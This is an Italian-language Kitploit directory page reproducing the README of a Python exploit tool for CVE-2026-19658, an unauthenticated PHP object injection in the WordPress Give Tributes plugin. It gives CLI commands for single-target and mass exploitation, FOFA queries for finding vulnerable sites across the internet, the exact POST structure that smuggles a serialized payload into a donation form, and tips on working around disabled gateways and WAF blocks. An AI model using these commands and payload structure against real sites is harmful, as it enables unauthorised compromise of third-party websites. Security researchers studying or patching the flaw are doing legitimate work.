Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-19658 — Checker Python 3 e helper per l'exploit di CVE-2026-19658, una vulnerabilità di PHP object injection in WordPress Give Tributes, con scoperta dei target tramite FOFA e sfruttamento dei form di donazione legacy. | Kitploit
Strumenti/GitHubGitHub/murrez/cve-2026-19658
RicognizioneScanner di VulnerabilitàAnalisi delle VulnerabilitàExploitScripting e AutomazioneSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration TestingSviluppo Payload
GitHub
161 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
murrez/cve-2026-19658

CVE-2026-19658

Checker Python 3 e helper per l'exploit di CVE-2026-19658, una vulnerabilità di PHP object injection in WordPress Give Tributes, con scoperta dei target tramite FOFA e sfruttamento dei form di donazione legacy.

Vedi Repository
Condividi

CVE-2026-19658 — Give Tributes Unauthenticated PHP Object Injection

Scanner proof-of-concept in Python 3 e helper per l'exploit della catena di donazione per CVE-2026-19658 nell'add-on WordPress Give - Tributes (Liquid Web / GiveWP).

PiattaformaPlugin WordPress (richiede il core GiveWP)
ComponenteGive - Tributes
Affetto≤ 2.3.1
Corretto in2.3.1.1+ (campi eCard multi-destinatario sanificati)
CVSS9.8 Critico
AuthNon autenticato (form di donazione legacy)
CWECWE-502 — Deserializzazione di dati non attendibili
AssegnatoreWordfence

Riepilogo

Quando Allow Multiple Recipients è abilitato per gli eCard e eCard custom message è disabilitato (impostazione predefinita), le versioni vulnerabili memorizzano i dati dei destinatari eCard grezzi da $_POST nei meta della donazione. La validazione dei campi di GiveWP utilizza una copia give_clean() di $_POST (le stringhe serializzate vengono svuotate lì), ma insert_tribute_data() legge $_POST non sanificato, quindi first_name / last_name di un secondo destinatario possono contenere un oggetto serializzato PHP.

Impatto: Nessuna catena POP nota all'interno di Give Tributes da solo. I meta vengono deserializzati quando letti (es. anteprima/reinvio eCard da admin). RCE o impatto distruttivo richiede una gadget chain da un altro plugin o tema installato.

Prerequisiti lato server

  1. Give Tributes ≤ 2.3.1
  2. Allow Multiple Recipients abilitato (globale o per-form)
  3. eCard Custom Message disabilitato (impostazione predefinita)
  4. Form Give legacy pubblico ([give_form] / v2), non Visual Form Builder solo v3
  5. Un gateway di pagamento in grado di completare una donazione nel tuo test (spesso manual su dev/staging)

Requisiti

  • Python 3.8+
  • pip install -r requirements.txt

Avvio rapido

root@kitploit:~
pip install -r requirements.txt

# Singolo target — check (flusso terminale attivo di default per --list)
python poc.py -u https://target.example --mode check

# Check massivo
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Singolo target — exploit (solo target autorizzati)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Exploit massivo dall'output del check
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → lista target

Esempi:

root@kitploit:~
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

Lista host (un dominio per riga):

root@kitploit:~
python poc.py --list my_hosts.txt --mode check --threads 20 --flow

Esportazione CSV FOFA:

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

Opzioni CLI

OpzioneDescrizione
-u, --urlURL base singolo
--listLista URL, file host o candidates.jsonl
--modecheck o exploit
--form-urlPercorso pagina di donazione o URL completo
--form-idPost ID del form Give
--pathsPercorsi extra da scansionare per i form
--payloadOggetto serializzato per first_name del 2° destinatario
--gatewaypayment-mode di Give (default manual)
--emailgive_email del donatore
--flowUna riga per target nelle esecuzioni massive (default con --list)
--no-flowSolo riepilogo di avanzamento
--quiet, -qOutput console minimo
--threads, -jConcorrenza massiva (default 12)
--outputLog JSONL (default cve_2026_19658_results.jsonl)
--vuln-listRighe di hit / exploit in testo (default hits.txt)
--candidates-listJSONL metadati del check (default candidates.jsonl)

Usa --vuln-list exploited.txt nelle esecuzioni di exploit in modo che gli hit del check in hits.txt non vengano sovrascritti.

File di output

FileModalitàContenuto
cve_2026_19658_results.jsonlentrambeJSON completo per target
hits.txtcheckURL con exploitable_candidate
candidates.jsonlcheckbest_form, indizi di versione
exploited.txtexploiturl|payment=… quando la donazione è confermata

Valori status del check

StatusSignificato
candidatePlugin vulnerabile + Give + form legacy con UI tributes
vulnerable_no_formPlugin/versione OK, nessun form adatto trovato nei percorsi scansionati
patchedTributes > 2.3.1 o ≥ 2.3.1.1 (quando la versione è leggibile)
give_onlyGive senza Tributes rilevabile
no_pluginTributes non rilevato

La scansione remota non può vedere in modo affidabile "Allow Multiple Recipients"; i candidati potrebbero comunque fallire al momento dell'exploit.

Note sull'exploit

  • Il PoC invia due destinatari eCard; il payload è il secondo campo first_name.
  • Il gateway manual è spesso disabilitato in produzione — prova i gateway visibili sul form (stripe, paypal, test, …).
  • Il successo richiede i marcatori di ricevuta di Give (non testo generico della pagina contenente "thank you"). Lo stesso URL con il form ancora presente non è considerato un successo.
  • give validation rejected donation: opzioni tribute/notify, importo o gateway non corrispondenti.
  • HTTP 403: WAF (Sucuri, MalCare, ecc.) che blocca il POST.
  • Form solo v3: usa l'URL del form legacy o salta (il processore rifiuta gli ID v3 sull'endpoint legacy).

Struttura POST (form legacy)

root@kitploit:~
give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

Struttura del repository

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Le liste di scansione locali e gli artefatti di esecuzione (list.txt, fofa*.csv, *.jsonl, hits.txt, …) sono in .gitignore e non devono essere committati.

Riferimenti

  • NVD — CVE-2026-19658
  • Give Tributes readme (nota di fix 2.3.1.1)
  • Plugin GiveWP

Legale

Solo per test di sicurezza autorizzati e scopi educativi. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.

Scarica lo strumento